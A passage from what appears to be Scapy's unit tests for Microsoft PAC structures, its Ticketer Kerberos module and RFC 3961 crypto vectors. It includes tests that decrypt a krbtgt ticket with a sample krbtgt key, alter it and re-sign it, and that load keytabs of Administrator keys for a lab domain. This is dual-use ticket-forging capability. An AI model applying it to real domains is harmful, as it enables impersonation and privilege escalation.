SignatureType=4294967158, Signature=b"A\xed\xce\x9a4\x81]:\xef{\xc9\x88t\x80]%", RODCIdentifier=b"", ), PAC_SIGNATURE_DATA( SignatureType=4294967158, Signature=b"\xf7\xa54\xda\xb2\xc0)\x86\xef\xe0\xfb\xe5\x11\nO2", RODCIdentifier=b"", ), ], cBuffers=4, Version=0, ) assert raw(pkt) == data[22:] = MSPAC - Dissect and rebuild UPN_DNS_INFO from scapy.layers.msrpce.mspac import UPN_DNS_INFO data = b'4\x00\x18\x00\x18\x00P\x00\x03\x00\x00\x00\x1a\x00h\x00\x1c\x00\x88\x00\x00\x00\x00\x00A\x00d\x00m\x00i\x00n\x00i\x00s\x00t\x00r\x00a\x00t\x00o\x00r\x00@\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00\x00\x00D\x00O\x00M\x00A\x00I\x00N\x00.\x00L\x00O\x00C\x00A\x00L\x00A\x00d\x00m\x00i\x00n\x00i\x00s\x00t\x00r\x00a\x00t\x00o\x00r\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xfe\x00\xb0r\x02\n\xa6\xdd\xa9\xa4e\x02\xf4\x01\x00\x00\x00\x00\x00\x00' # This is extended pkt = UPN_DNS_INFO(data) assert pkt.Upn == 'Administrator@domain.local' assert pkt.DnsDomainName == 'DOMAIN.LOCAL' assert pkt.SamName == 'Administrator' assert pkt.Sid.summary() == 'S-1-5-21-1924137214-3718646274-40215721-500' assert isinstance(pkt.payload, Raw) and pkt.load == b"\x00\x00\x00\x00" # Re-build pkt.clear_cache() assert bytes(pkt) == data + Build a CLAIMS_SET to test size_of = MSPAC - Construct a CLAIMS_SET object % the goal of this test is to see if: % - all intermediate types are properly inferred % - sizes are properly computed from scapy.layers.msrpce.mspac import * claimSet = CLAIMS_SET( ClaimsArrays=[ CLAIMS_ARRAY( usClaimsSourceType=1, ClaimEntries=[ CLAIM_ENTRY( Id="ad://ext/AuthenticationSilo", Type=3, Values=NDRUnion( tag=3, value=CLAIM_ENTRY_sub2( StringValues=["T0-silo"], ), ), ) ], ) ], usReservedType=0, ulReservedFieldSize=0, ReservedField=None, ndr64=False, ) = MSPAC - Check that Pointers, Arrays, etc. were inferred assert isinstance(claimSet.ClaimsArrays, NDRPointer) assert isinstance(claimSet.ClaimsArrays.value, NDRConformantArray) assert isinstance(claimSet.ClaimsArrays.value.value[0].ClaimEntries, NDRPointer) assert isinstance(claimSet.ClaimsArrays.value.value[0].ClaimEntries.value, NDRConformantArray) assert isinstance(claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].Values, NDRUnion) assert isinstance(claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].Values.value.StringValues, NDRPointer) assert isinstance(claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].Values.value.StringValues.value, NDRConformantArray) assert isinstance(claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].Values.value.StringValues.value.value[0], NDRPointer) assert isinstance(claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].Values.value.StringValues.value.value[0].value, NDRConformantArray) assert isinstance(claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].Values.value.StringValues.value.value[0].value.value[0], NDRVaryingArray) assert claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].valueof("Values").valueof("StringValues")[0] == b'T0-silo' = MSPAC - Build the packet assert bytes(claimSet) == b'\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\x00\x02\x00\x03\x00\x03\x00\x01\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00a\x00d\x00:\x00/\x00/\x00e\x00x\x00t\x00/\x00A\x00u\x00t\x00h\x00e\x00n\x00t\x00i\x00c\x00a\x00t\x00i\x00o\x00n\x00S\x00i\x00l\x00o\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00T\x000\x00-\x00s\x00i\x00l\x00o\x00\x00\x00' = MSPAC - Dissect the packet claimSet = CLAIMS_SET(bytes(claimSet), ndr64=False) assert claimSet.ClaimsArrays.value.value[0].ClaimEntries.value.value[0].Id.value.value[0].value == b'ad://ext/AuthenticationSilo' assert claimSet.ClaimsArrays.value.value[0].ClaimEntries.value.value[0].Type == 3 assert claimSet.ClaimsArrays.value.value[0].ClaimEntries.value.value[0].Values.value.ValueCount == 1 assert claimSet.valueof("ClaimsArrays")[0].valueof("ClaimEntries")[0].valueof("Values").valueof("StringValues")[0] == b'T0-silo' + Ticketer++ tests ~ mock % Same test ccache as kerberos.rst = Ticketer++ - Load ticketer module from scapy.modules.ticketer import * = Ticketer++ - Write ccache to disk from scapy.utils import get_temp_file CCACHE_DATA = bytes.fromhex("0504000c00010008ffffffff0000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000002000000020000000c444f4d41494e2e4c4f43414c000000066b72627467740000000c444f4d41494e2e4c4f43414c0012000000208b4226a190866cbe345ae5e668823edd5359cb00bd479a6428bc8feb1ba55752633332fa633332fa6333bf9a633484770050e100000000000000000000000004486182044430820440a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414ca382040430820400a003020112a103020102a28203f2048203ee662c2aefcca3f8c78de38e1af1d63b18de011d864d9bec12f3c11e20b0bbdc46e6f5c8311b331b1cc27b23193e90fa47ba7aa6a67fba5826a1f4754ea5050eeab2e07d07a3ec1029b2a11e058ce31e48f4de2bce017e9c2915ee40ffa0f7109597088286fa290fe6ca777465162c5757a67cc53a8e3204846a4ca9cff30c8073d1e9e735b5eb22717f9777c2f38fb13d204952db15e4f160e26535f596f3ce64f9a8d96011718d0405650d7f7c728f87dd2d0e220e4610347faa8a45099b63a351f5adcfccf669d9b6112e31881af869561294a21eb6e2b164b8ce6c6c7b0327ec6c71c23784b06c19030a3f81119f377cb6f0395b5477bffbc5c1a2264ec4af76f4b39a4e2f7030d48c8ebbcaf212036ea0a5abdd5da91fcdc3fb9700d5379f03fbc9fe3a47078dae30b05a418f46ee9ea25f520eb7e67b53d96f7f486e5878b22ea8f4215137a7dcf7f4b6f50463715d9d3c544f294420ed0f7426955fa0a527efce86264f7c29bdfc2cee2c3eb227eb4b7651eb8008e0eb269446a45488296b0427f82b959ad070146cd8a9aed9ef236815bd2149f3f86d73227584f294dc86cf4a77e4eeabf98f4f342dbfc4beb46d834b0c3103d8c5964cad4852eed365ca8e50937e21976122d5cde18c5ab6dd5528c3a680c0a219711766dd5b6a3c103ae65ad5f573a31543a0ebcefde1749062951030f63907cde092010c22c90763248c9f6cd03a6f0a7cb9a7b7441bc7de4c40c1d749373afee597a52c9dbe7533d7ba24a3a26df29474b93643eed97f6b8ffd13976869844841bdd364f2454d6e3ce1ae677ec01c592c25b50e120303240ddaac82dfa9d63b1c42c239b78a6c4ebba2b6458b924931c52b223b9c9cfd6cf0f083e6239e30747f1302de8bde94fe8756b5e0118f5ed61dccc3862ddbc93f103c3160ac15858cbe330420d6e07e2c9f242c2caf8f04d83f3cd71f404c1d56814c9e2aa787763abc295334299487f454e4b4eb5f0e7c3cf5e377374acf827c9fe255e1c7cdb13129ef07c731164ee4eed503f735829a8b7cc2e3718db23d85838fbf7a43861a1c8f890e4c33437b65749946b46f6cff1767158f5684b035f2ea086f7b564f6a57050714b4cad5165b72be6f7a6820b2e9f8936506147e64a77a2f9cf9c13fe4fd59b83191898101068a003e6f7f918006616204ff4b18a9bf495497ba0df0dfcbb89a5e643c60637667357fcf1d97b424240ea75fcf0d26bb159055107f80d1bc682c9057f22a3ef5fb0f50adb30ba975b25069d393bf7eb2522f230912ac1e64bba93c91aa760abb1209bb1313e38dddebcac325d27bef99d66045c09799b71020a44f64bbb59c405449304fd95b8d6bdc6d17e476cba188f30ad04bb6c91d91b028b0953986929a9fb42b21f73028c8ba1f416c70630000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000000000000030000000c582d4341434845434f4e463a000000156b7262355f6363616368655f636f6e665f646174610000000770615f74797065000000206b72627467742f444f4d41494e2e4c4f43414c40444f4d41494e2e4c4f43414c0000000000000000000000000000000000000000000000000000000000000000000000000000013200000000") KRBTGT = bytes.fromhex("6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce") TICKETER_TEMPFILE = get_temp_file() with open(TICKETER_TEMPFILE, "wb") as fd: fd.write(CCACHE_DATA) = Ticketer++ - Create and load Ticketer object t = Ticketer() t.open_ccache(TICKETER_TEMPFILE) = Ticketer++ - Get ticket 0, change it, resign it and set it back # mock the random to get consistency from unittest import mock def fake_random(x): # wow, impressive entropy return b"0" * x with mock.patch('scapy.libs.rfc3961.os.urandom', side_effect=fake_random): tkt = t.dec_ticket(0, hash=KRBTGT) assert tkt.renewTill.val == '20220928172927Z' tkt.renewTill.val = '20220930172927Z' t.update_ticket(0, tkt, resign=True, hash=KRBTGT, kdc_hash=KRBTGT) = Ticketer++ - Call show() with ccache with ContextManagerCaptureOutput() as cmco: t.show(utc=True) outp = cmco.get_output().strip() print(outp) assert outp == """ Default principal: Administrator@DOMAIN.LOCAL CCache tickets: 0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL canonicalize+pre-authent+initial+renewable+proxiable+forwardable pa_type=2 Start time End time Renew until Auth time 27/09/22 17:29:30 28/09/22 03:29:30 30/09/22 17:29:27 27/09/22 17:29:30 """.strip() = Ticketer++ - Save to disk t.save_ccache() = Ticketer++ - Read and check written ccache EXPECTED_CCACHE_DATA = bytes.fromhex("0504000c00010008ffffffff0000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000002000000020000000c444f4d41494e2e4c4f43414c000000066b72627467740000000c444f4d41494e2e4c4f43414c0012000000208b4226a190866cbe345ae5e668823edd5359cb00bd479a6428bc8feb1ba55752633332fa633332fa6333bf9a633727770050e100000000000000000000000004486182044430820440a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414ca382040430820400a003020112a103020102a28203f2048203eed3d1adb3a09042173463eb0ef195beb666adbaa83193905697db7340daa9fc6cd3450280651effddc129b3761d49569f3c384e450db9ef094b4619d2036126a0b1b44c983e46664ee28cdb8fc33b52d14d2a8357f6c37b31bec5074ee6ee5ab74a896460c767411d0532c6cb69e0da698054ef8f8bf87fb9e8d2d289ec1b22d1ec602ce71c80b98a14aff448374054d4987c0bd13127914a0191d93c3440b5209c4f2190c80d21e064e6f71ab269ab9c0dbf6533e8e29068a3c686b6377d3c79c902818f12a400eabd8f8bb35bce837e9cb0a4413db223bf22e13bee81eb6a4170ae863fd7082db8dac81b70f96c7880c6d5f8350209aa090b75f6343635ba01e9fafdc7700ee84bd9ae0497517ce69b89e44b3933ea3b1a6c36bd38699eba195bb22f0e694b9e952fc187cf7ee5e02b05ec2397e76c217da3c328eeccf5d4ffbe77a765127fc2828e5c8edc1987cb7fbfcfecbb308f4858f711c52ada9c3622dd43d47c29b30630ecf51b9e88cefcf06cb7862922c36a81ae09ec9f62f406f6d4a269cec849a2fe872a16026dce242c775870d827450700c9defdd204342ea1e7d72c5b1c8d92b0318f298898b19a2c705722837c2ff569fc796d55b779950be0db9955d57d349c7d7688b81b9219e376098a2902e23cd01d7bf7734089ab08bc30a7fd2d138aea4454084e3e14d76119e2ef4da6fff3b5758c58efe2904491f6dd57a7eb777aa847783b6ef905c8c796889e6d7e89952a2cef7f99d09405a07b6897291d13eb3a0c4280601b4f4d5cbd00a0125fb87eeb522cd90a8b046163c076a61115e1affe3e362700d984747f1372c92beeb3e1ce4b97ceac032ac8988c536a9594f9032463750f78ca30161e4910d8ff3810d7d4da60d90fded2fcda92a4d6a7b776ba82370130807a30ab0b648f50537453de6c575cc6c98847ae1aa342c3b324005c3988e6cfb161b5b39153cdbd7a305c4cc0949e47197673cd72c29f41f383a7c2b241bd0e70d736f6e342b88128cc38f964588aa32b860dd788a43fb91d4d934401434d6d9e6c622e58a9d99e02331ca642cd9c435305ddbf949751b8c2617489a4cefe376920b7803d493e61d4fdc41f2f6fe50bf5919ede1295eaab25db71aa6e98bbc80a32d7acc24f9cc9b651cb72d22b17031a1d03fd9166c5f488924689aa4859094b42b72c4bf467a1fdb826289bde90035aff2322c68a34b350b0b3b2818c656701b359cbfdb7eb5665439a4deb2cc95bacc358a693f2d0e31975653665fdc468d627c6eee589bbc46bd019a70e394c90529abe646105623c43956c86bf366e4be1f3560b2e4ca01f1e25432618573a9f257890a435e899724eebd9fd271abefeae2f0a55f3abb4619b9ded206bf70ac3b77622d114309e49bb42d01e8c8678765ab4b80000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000000000000030000000c582d4341434845434f4e463a000000156b7262355f6363616368655f636f6e665f646174610000000770615f74797065000000206b72627467742f444f4d41494e2e4c4f43414c40444f4d41494e2e4c4f43414c0000000000000000000000000000000000000000000000000000000000000000000000000000013200000000") with open(TICKETER_TEMPFILE, "rb") as fd: RESULT = fd.read() print(RESULT.hex()) assert RESULT == EXPECTED_CCACHE_DATA = Ticketer++ - Import ticket TKT = KRB_Ticket(bytes.fromhex("618204b3308204afa003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414ca38204733082046fa003020112a103020103a28204610482045dbd10c11e1def682dc3607c98db0806acf2809a1f8c73fda44f86c14bd039c4c95a41ed400ac4e558970c51316ffdf34bd695a636bcb1e5074419d083e918085ec56ff77af9f6a410faff3b9859a635184486c83521b5390ec724185057e3e62843a92d9ba500dd24d9ebeff0654fe459cf35d9607b11f7c35bf6ba4dd378fd5c99554650296abcc374c3ff2fcf807038848f351e9134f69726b5e92aec99e4aa99613c35609b0094b533811513e9ba48b9113f0f2b4dbcf9e05a6668c998c09f65ae48c8ea1b7fbc62b5cbbec7decc0a4832df93aec08c138a63621f8c584a8530a380b54b37fdb8dda6924e4260710cf8b66c71479dcb6916790c5c582b9953cab7085178e280d182a74f93fcd3bc83a0dc26284551a4d230a50a8b341de132fdf0f97bb7abdec48021e04c3deda89897c684d5603636bd66842ed4b2586f8e09fbb5e0228bcce3e5ffc82e5674f16a65a4f1b7b17b3854a5465734a5fec573c54526f27b9ea8a64646f01268b040d09f2acda82a37fb195cb24f8c1092919574999fd61d859aed2af5a9457a20a72e6188c0d813cb12713779f84f7bed298e2cd793b06e639d859b4fb3a5f746e2023bcf0627a8a87425899aa3a9b63f558965eccabc35330562b055426e2fc6808c456ee8f047d09a7021b6a4f2547cde6552224b294750efd492ea0745035f76a394d5b6e26442e5542b4d557722ee21b70c05567241ed97dffb31502d950c50462f478fccd8454ec38424688e87c4428c3763b369f1b51509ef36548dcf7a5c842475aa65bec10d6f86cecd90e4694f36d68052b55a2715c00e269c215071311482118ed0168fabb3053ad59dcdf42a42502685cdfcc679d2272dd12ab658ff8588b34cb48b3aef4a1961694ab2b31a812a683015ed343a8c21498997b0ded3767f73e069c9633845b582d6f1a987d6b09d31b330a3cbf2c430fb6f5d6fa27f83d9624b7bb8cebc248933b68dbe1b6b2822b96621159d9249ded893cbedcf1fc5ee77cb69695852170b24ea2f36aa898a24212b2edf84459a4381bd243797b9a3281d7e1b280f6add79dbb1cc5d887178d0813549a168a38be441bb387764098c4e7bed81f7973ee19e733767a4dd05212a18b12c838c674c18b0d6304a28be3de7928ffdd1449d297884c6a6a574b13a0d289425c1ebf37c5af56d04753fcc0c02fdcc98427fb9aa33510905ba2b6746a8b59742e4243f6fba814585b122794a54aecba3ea956a0c85fded2582cb4809ee7be471253f0256503636e81f35df38b177c3c071677e1dd9efa6b10c6a122ab0522f2b10e8b625355f5c1e7996c7055237182691ede31a5e602966f90c2a66bdf997872dbdc97155d723bc1fb187bd0f42cbcdedbe2c5717d13e27e2134ac6cd9d3a53cd215344a8278065da4eea7544860eda5fdb41f849ff7c1db775f7a0a62d2875b43b55bc091e8056666507dfcaded40a83211db7a5856d4c9b5e2ef862830cef8a4c36ce034e9a9e11f558f008cdbe4152081c30dae53b6de44e1703236490cfc87be9e96fa0679f87255069994a262d61d57be0382fe9e570")) TKT_SKEY = bytes.fromhex("dd4e16dbcfe19d82cb6fc9b593bb7449c1d8a46687dc20c295ed0e51cc4c3d0d") t = Ticketer() t.import_krb(TKT, hash=TKT_SKEY) tkt, _, upn, spn = t.export_krb(0) hexdiff(tkt, TKT) assert bytes(tkt) == bytes(TKT) assert upn == 'DC1$@DOMAIN.LOCAL' assert spn == 'krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL' = Ticketer++ - Create keytab t = Ticketer() t.add_cred("host/dc.domain.local@domain.local", password="Scapy1", salt=b"salt") assert t.get_cred("host/dc.domain.local@domain.local").key == bytes.fromhex("811f44006ad73972ffec42cc89ce6e79749e6effd8db4db5fb0f38c0f3fa6f4f") = Ticketer++ - Get SPN ssp ssp = t.ssp("host/dc.domain.local@domain.local") = Ticketer++ - Load keytab from scapy.utils import get_temp_file TICKETER_TEMPFILE = get_temp_file() KEYTAB_DATA = bytes.fromhex("0502000000440001000c646f6d61696e2e6c6f63616c000d41646d696e6973747261746f720000000067fd666f0100110010de93a48926de94c2feff6abd8e0e763b00000000000000540001000c646f6d61696e2e6c6f63616c000d41646d696e6973747261746f720000000067fd666f0200120020dcd8ce2bb77dfb6cab0e1afb69a9a5713a8818ed502c3625edc7772e6b4c442a00000000000000440001000c646f6d61696e2e6c6f63616c000d41646d696e6973747261746f720000000067fd666f03001700102b576acbe6bcfda7294d6bd18041b8fe00000000") with open(TICKETER_TEMPFILE, "wb") as fd: fd.write(KEYTAB_DATA) t = Ticketer() t.open_keytab(TICKETER_TEMPFILE) assert t.get_cred("Administrator@domain.local", EncryptionType.RC4_HMAC).key == b'+Wj\xcb\xe6\xbc\xfd\xa7)Mk\xd1\x80A\xb8\xfe' assert t.get_cred("Administrator@domain.local", EncryptionType.AES128_CTS_HMAC_SHA1_96).key == b'\xde\x93\xa4\x89&\xde\x94\xc2\xfe\xffj\xbd\x8e\x0ev;' = Ticketer++ - Call show() with keytab with ContextManagerCaptureOutput() as cmco: t.show(utc=True) outp = cmco.get_output().strip() # crop first line outp = outp.split("\n", 1)[1] print(repr(outp)) assert outp == """ Principal Timestamp KVNO Keytype Administrator@domain.local 14/04/25 19:47:59 0 AES128-CTS-HMAC-SHA1-96 Administrator@domain.local 14/04/25 19:47:59 0 AES256-CTS-HMAC-SHA1-96 Administrator@domain.local 14/04/25 19:47:59 0 RC4-HMAC No tickets in CCache. """.strip() = Ticketer++ - Get UPN ssp ssp = t.ssp("Administrator@domain.local") = Ticketer++ - Save keytab from scapy.utils import get_temp_file TICKETER_TEMPFILE = get_temp_file() t.save_keytab(TICKETER_TEMPFILE) = Ticketer++ - Real example - Import ASREP t = Ticketer() asrep = KerberosClient.RES_AS_MODE( asrep=KRB_AS_REP(bytes.fromhex('6b82083c30820838a003020105a10302010ba2820174308201703082016ca10402020088a28201620482015ea082015a30820156a08201523082014ea003020112a2820145048201414722f301958ad09a272342ec03ec5f04b76de456b73ab2684d49a2ba9ddd900199e0cee8dff6bcc573d30def6aeec4c39385b7ecea55b4d096a8fe5fecac0cf8122f710bb4b69953ecc35954a4e5f7ac84d73f17b290aac1e6cad32a58fb6db7d0ff1d816e40c34375f18d69af15a243b6652e4630b4b80f4c94f5b8ae7aecb199ca3d25c69600df88b6e7624feb3345e872543d537b403073e8dcb80310e8ca45fed3d7f53db440b4b7d55299721dfe620a2e55dbf5abc8c9219854df02700af0b1e7117a62d402b10ec336df6de09fb594ebf96a5957849dbdb7add039c6f5e9ed10cfd93b621b33b5f3c27c7d84f731f3a8e10b1ed39bcd04cdfba41452e85b0a5650b0011486f3137057ad7c09d56f3509a7efd6bc66c49e9a30b3a63c26b24b0575e06cd1be22c99df6baf3413d5da09e7d41cee2c9dc4b0014623dd7014ba30e1b0c444f4d41494e2e4c4f43414ca41a3018a003020101a111300f1b0d41646d696e6973747261746f72a58205106182050c30820508a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414ca38204cc308204c8a003020112a103020102a28204ba048204b6156ec9c868912ff7af63ced40bc8492a7a505250a0a93f2ba924f4634cf488dc6212994fdb4a95bc94169f3872c50a628f3ff25975c8e575b3c179364a62e3a6b38b514960eb9f04ecded7c173cf9aeb4ebe3b39e9c80c8acdd41ed26caae83881666a4304b42a37de4bb6bd40859fc9cffd5fb5821809da0319aa0b2a35b98a0a77df53a9b3d47ecaacc8acdf404ac7b16247dd94e15122b709d4a44da741f32fe05e6a77b74e6b63993b85aa004cd38714ed48399f75a5f0c140a8555b6cc043b3226cd58f74eb70921220a0e906b5a8292e589d38685e6782abc4d159822787e9f43194e11e27a514c62dbcd71f8349dd6d556814ea77687c46e2238bc061671d68ef1d3e3091a736ddad27eec84fc2b41b115c18b02f92828311950564661f3023c73d75a6b20aaa223bdeace648e815ab8ffaf943cadd4113f456960f8a903dceeea0f59826299c752287c1ecd188a4c83adbc3054ba4f4b91537710bc8c242d8820dd62a46c48a81619abb959f9eb8db5ba64ad5121ace5cee443dbcc7a25b8dd0fede9d77b1051a8c96a39c852402bd020052df0780eea63f4b6b8b2c7f63749602fcc92d123d5e2c1a85339d942bff57939967b99e159901b1efb05da164736329dc8fdce78a3bb1e0f449627870380bc4d28de38ab11bca95d6317fa64f33a7be46be25cd560425b0b1b1b7d0b6873fe44d2d41db26f2c2ddd6dc5b0f707f12fa60d1e65516c120dd2adc2ac9f7ad35986f34f050ccc08611a0641f62adafdd68e206730a8b484352bb99334796a0212b683a6fca76bf7fc57e264ecb5ff8d7ed76163f7554c112d6666b885eecc6c10257d7e481544c81df7f4f5878aab1936ecff57830335c1b37a20f32a63303be325e3fa54c1f7561663925230fe40f386f63457e98f5a5fe92b6241262fa9783c60d1195b3124ae3642c7c3c9f9bd6f4b1d5220e4fff22c6c2eb4f5cf4d08b5359e77b608f6a2962050a039280e98cecf5e5bb613b7e18ca557103b30ab4a31fcdda26a1fec01653569295351faa0c8dfafcc77bf745507031d10c3ddefdde29aee9f932e1126527f2b47209a83aa20bcfab1ca9a176f52eaaf08948deacf9981979c422a82fdc23473763ca6571b50702bb13d67c7fdddc4dbe320e47cc75f7c12fa3f7eb39bfde9995c2984ed8f4de09786d4745281a58f4750f9752ba3040c16ff8e4a0bcaf4216f4261df823e0cf7d1d8319cc546de50fbc53e78bed55feadcd86cd088d9c74b76c7db6768a1c3cad159d8f928a0c6f7d084f3ef2e1e77dd3ebbc32149ac582fb443deeb865e781eee59bb8241239369b229d53d6dce6b40a4722504097cfc73f93ed3bb7d6a52e2f47a7bd3e330268122fc02d21d400f1f1292c32cdd0f0d748ff5941a98eb048e7e645141b09c55fb266c086b1765ec90032443c5f99fc8fff9d2e9561f1b70f30369d4e818a879f6eacb357c44d1411008b7706b4adf02a5b5471069f2b2f5fe3c292a7e2d00d8570b1755b6349582eeafc45be4b352d10bb8e2914016489fa6d427d8bd45abd67bc88612ce6a45a46a5aede05743b79196f84fc37455968f8b1095ec48897f671f375d1d1e5296aa7831d4148a270ef6496bfa98dccfbddeef5f9166d83bbd1caf5e7d93f981e70e3df067437f6fe1925a26c9b078e76aebc05b50ac613ebba3012d57d711d8dc60e7ceba68201723082016ea003020112a103020101a28201600482015c3c1e391355e9dbd061b723b597afd5a10aff251e65b58295729849c5160e11987ae9aec03c1aa5d9c26906479cabab031740eea870f7bb5423f1936f0ed2aed1fa6dfcd9d6ba373220c65635b2d52c00fe5f73c8ed5a3857e135d6eb10a8ffd47653abb60b8b93d7947e4b5d2cff7fa1374958b928affba651a5f6b34dcab3c3297919c181fc2807e8cb353fb8a6ebeacd2020cdd327ab3e53045f242c493f88aecf82ff05051789baa551a93d2aaf9fc1596a33ea1f8d54b557f74747918c2f970040e2ed9cbdf52c172e0a87e5e795ce6c80705cc2bfaa156b5998e481b2e57e7ff0d1501ff5aa3a7cbad586ca0250181d7fd2d0f7b755b5bf202d1bff510dacccea27bc6f608a91919e3a4dfa5d2f621b0721f8e44d3741336603654eab1e2dcabbe8517545542944646b5867153d7ba7212de28ddb6be1e1166acaee7715df82273ff6ea62f33337a7f4250a3d0812fa5b57c7164a2ec651e15a')), sessionkey=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex('1051fc76a7a5bf42d2a35dae808c74cbd7c5d7c3bca8dba775db8426058ecb62')), kdcrep=EncASRepPart(bytes.fromhex('7982013c30820138a02b3029a003020112a12204201051fc76a7a5bf42d2a35dae808c74cbd7c5d7c3bca8dba775db8426058ecb62a11c301a3018a003020100a111180f32303236303232353232333731315aa20602043328586ba311180f32313030303931343032343830355aa40703050040e10000a511180f32303236303232353232333731315aa611180f32303236303232353232333731315aa711180f32303236303232363038333731315aa811180f32303236303232363038333731325aa90e1b0c444f4d41494e2e4c4f43414caa21301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414cab1d301b3019a003020114a112041057494e31302020202020202020202020ac2930273015a104020200a7a20d040b3009a00703050080000000300ea104020200a5a206040400000500')), upn='Administrator@DOMAIN.LOCAL', pa_type=138, ) t.import_krb(asrep) = Ticketer++ - Real example - Check X-CACHECONF xcacheconfs = t.get_krb_xcacheopts(0) assert len(xcacheconfs) == 2 assert all(x.client.toPN() == 'Administrator@DOMAIN.LOCAL' for x in xcacheconfs) assert all(x.server.components[0].data == b"krb5_ccache_conf_data" for x in xcacheconfs) assert all(x.server.components[2].data == b'krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL' for x in xcacheconfs) assert xcacheconfs[0].server.components[1].data == b"pa_type" assert xcacheconfs[1].server.components[1].data == b"fast_avail" assert xcacheconfs[0].ticket.data == b'138' assert xcacheconfs[1].ticket.data == b'yes' = Ticketer++ - Real example - Check primary_principal assert t.ccache.primary_principal.toPN() == 'Administrator@DOMAIN.LOCAL' assert t.ccache.primary_principal.name_type == 1 = Ticketer++ - Real example - Check iter_tickets assert len(list(t.iter_tickets())) == 1 assert len(t.ccache.credentials) == 3 = Ticketer++ - Real example - Test remove_krb t.remove_krb(0) assert len(t.ccache.credentials) == 0 + Crypto tests = RFC3691 - Test vectors for KRB-FX-CF2 # https://datatracker.ietf.org/doc/html/rfc6113.html#appendix-A from scapy.libs.rfc3961 import Key, EncryptionType, KRB_FX_CF2 def test_krb_fx_cf2(etype): k1 = Key.string_to_key(etype, b"key1", b"key1") k2 = Key.string_to_key(etype, b"key2", b"key2") return KRB_FX_CF2(k1, k2, b"a", b"b").key.hex() assert test_krb_fx_cf2(EncryptionType.AES128_CTS_HMAC_SHA1_96) == "97df97e4b798b29eb31ed7280287a92a" assert test_krb_fx_cf2(EncryptionType.AES256_CTS_HMAC_SHA1_96) == "4d6ca4e629785c1f01baf55e2e548566b9617ae3a96868c337cb93b5e72b1c7b" assert test_krb_fx_cf2(EncryptionType.RC4_HMAC) == '24d7f6b6bae4e5c00d2082c5ebab3672' = RFC3691 - Test vectors for _n_fold from scapy.libs.rfc3961 import _n_fold # https://datatracker.ietf.org/doc/html/rfc3961.html#appendix-A.1 assert _n_fold(b"012345", 8).hex() == "be072631276b1955" assert _n_fold(b"password", 7).hex() == "78a07b6caf85fa" assert _n_fold(b"Rough Consensus, and Running Code", 8).hex() == "bb6ed30870b7f0e0" assert _n_fold(b"password", 21).hex() == "59e4a8ca7c0385c3c37b3f6d2000247cb6e6bd5b3e" assert _n_fold(b"MASSACHVSETTS INSTITVTE OF TECHNOLOGY", 24).hex() == "db3b0d8f0b061e603282b308a50841229ad798fab9540c1b" assert _n_fold(b"Q", 21).hex() == "518a54a215a8452a518a54a215a8452a518a54a215" assert _n_fold(b"ba", 21).hex() == "fb25d531ae8974499f52fd92ea9857c4ba24cf297e" = RFC3691 - Test vectors for mit_des_string_to_key # https://datatracker.ietf.org/doc/html/rfc3961.html#appendix-A.2 from scapy.libs.rfc3961 import Key, EncryptionType def _mit_des_string_to_key(text, salt): k = Key.string_to_key(EncryptionType.DES_CBC_MD5, text, salt) return k.key.hex() assert _mit_des_string_to_key(b"password", b"ATHENA.MIT.EDUraeburn") == "cbc22fae235298e3" assert _mit_des_string_to_key(b"potatoe", b"WHITEHOUSE.GOVdanny") == "df3d32a74fd92a01" assert _mit_des_string_to_key((u"\U0001d11e").encode(), b"EXAMPLE.COMpianist") == "4ffb26bab0cd9413" assert _mit_des_string_to_key((u"\xdf").encode(), (u"ATHENA.MIT.EDUJuri\u0161i\u0107").encode()) == "62c81a5232b5e69d" assert _mit_des_string_to_key(b"11119999", b"AAAAAAAA") == "984054d0f1a73e31" assert _mit_des_string_to_key(b"NNNN6666", b"FFFFAAAA") == "c4bf6b25adf7a4f8" = RFC3691 - Test vectors for DES3 # https://datatracker.ietf.org/doc/html/rfc3961.html#appendix-A.4 def _des3_string_to_key(text, salt): k = Key.string_to_key(EncryptionType.DES3_CBC_SHA1_KD, text, salt) return k.key.hex() assert _des3_string_to_key(b"password", b"ATHENA.MIT.EDUraeburn") == "850bb51358548cd05e86768c313e3bfef7511937dcf72c3e" assert 